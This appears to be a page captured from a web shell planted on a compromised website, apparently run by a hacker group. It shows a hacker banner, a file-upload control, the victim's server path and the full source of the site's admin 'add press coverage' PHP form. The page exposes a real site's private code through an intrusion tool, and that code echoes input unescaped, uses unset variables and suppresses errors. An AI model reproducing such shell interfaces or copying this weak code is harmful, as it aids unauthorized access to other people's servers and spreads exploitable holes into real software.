-
✘✘✘ WIBUHAX0R1337 ✘✘✘
-
✘
PATCH :
/
home
/
indianstaffing
/
www
/
admin
/
Upload File:
files >> /home/indianstaffing/www/admin/add-press-coverage.php
<?php include'include/header.php'; include'include/sidebar.php'; $date = date("Y-m-d"); error_reporting(0); $msg = $mediatitle=$subtitle=$alttag=$youtube_link=$mediadesc=$metakeyword=$metadesc=$added_on=''; if (isset($_GET['id']) && $_GET['id']!="") { $required=""; $id = mysqli_real_escape_string($con, $_GET['id']); $res = mysqli_query($con, "select * from press_coverage where id ='$id'"); $check = mysqli_num_rows($res); if ($check>0) { $arr = mysqli_fetch_assoc($res); $heading = $arr['heading']; $description = $arr['description']; $speakers = $arr['speakers']; // $links = $arr['links']; $added_on = $arr['added_on']; }else { header("location: press-coverage.php"); } } if (isset($_POST['pgsettingbtn'])) { $heading = mysqli_real_escape_string($con, $_POST['heading']); $speakers = mysqli_real_escape_string($con, $_POST['speakers']); $description = mysqli_real_escape_string($con, $_POST['description']); // $links = mysqli_real_escape_string($con, $_POST['links']); $added_on = mysqli_real_escape_string($con, $_POST['added_on']); $res = mysqli_query($con, "select * from press_coverage where heading = '$heading' and id = '$id'"); $check = mysqli_num_rows($res); if ($check>0) { if (isset($_GET['id'])&& $_GET['id']!="") { $getdata=mysqli_fetch_assoc($res); if ($id==$getdata['id']) { }else{ // $msg= "this interview is already exist"; $msg = '<div class="alert alert-danger alert-dismissible"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> This Authored Releases is already exist. </div>'; } }else { $msg= '<div class="alert alert-danger alert-dismissible"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> This Authored Releases is already exist. </div>'; } } if ($msg=="") { if (isset($_GET['id']) && $_GET['id']!='') { $update = "UPDATE `press_coverage` SET `heading`='$heading',`description`='$description',`speakers`='$speakers',`added_on`='$added_on' WHERE id='$id'"; if ($update) { echo "<script>alert('Authored Releases update successfully'); window.location.href='press-coverage.php';</script>"; } else { echo "<script>alert('Authored Releases not updated successfully')</script>"; } mysqli_query($con, $update); }else { move_uploaded_file($tempname, $folder); $insertquery = "INSERT INTO `press_coverage`(`heading`,`description`, `speakers`, `added_on`) VALUES ('$heading','$description','$speakers','$added_on')"; $insert_query= mysqli_query($con,$insertquery); if ($insert_query) { echo "<script>alert('Authored Releases added successfully'); window.location.href='press-coverage.php';</script>"; } else { echo "<script>alert('Authored Releases not added successfully')</script>"; } } header('location: press-coverage.php'); die(); } // $insertquery = "INSERT INTO `press_coverage`(`heading`, `speakers`,`description`,`links`, `added_on`) VALUES ('$heading','$speakers','$description','$links','$added_on')"; // $insert_query= mysqli_query($con,$insertquery); // if($insert_query){ // move_uploaded_file($tempname, $folder); // echo "<script>alert('Press Coverage added successfully'); window.location.href='press-coverage.php';</script>"; // } // else { // echo "<script>alert('Press Coverage not added successfully')</script>"; // } } ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <?php if(!empty($id)){ echo "<h1 class='m-0'>Update Authored Releases</h1>"; }else{ echo "<h1 class='m-0'>Add Authored Releases</h1>"; } ?> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="<?= $weburl; ?>/index">Home</a></li> <li class="breadcrumb-item active">Add Authored Releases</li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <section class="content"> <div class="container-fluid"> <!-- /.row --> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header">Add Authored Releases</div> <div class="card-body"> <div class="row"> <div class="col-md-6 mx-auto"> <form action="" method="POST" enctype='multipart/form-data'> <div class="card-body"> <div class="form-group"> <label for="heading">Heading</label> <textarea type="text" name="heading" class="form-control" id="heading" placeholder=" Heading" value=""><?=$heading?></textarea> </div> <div class="form-group"> <label for="added_on">Date</label> <input type="date" name="added_on" class="form-control" id="added_on" placeholder="Press date" value="<?=$added_on?>"> </div> <div class="form-group"> <label for="channel">Author</label> <input type="text" name="speakers" class="form-control" id="speakers" placeholder="Author" value="<?=$speakers?>"> </div> <div class="form-group"> <label for="heading">Description</label> <textarea type="text" name="description" class="form-control summernote" id="description" placeholder="Description" value=""><?=$description?></textarea> </div> <!-- <div class="form-group"> <label for="youtube_link">News Link</label> <input type="text" name="links" class="form-control" id="links" placeholder=" Link" value="<?=$links?>"> </div> --> <div> <!-- <a href="blog.php" class="text-danger"> cancel </a> --> <input type="submit" name="pgsettingbtn" class="btn btn-primary w-25" value="Submit"> </div> </div> </form> </div> </div> </div> </div> </div> </div> </div> </section> </div> <?php include'include/footer.php'; ?>
2022 - 2023 Copyright By Lutfifakee || Padang Blackhat ♥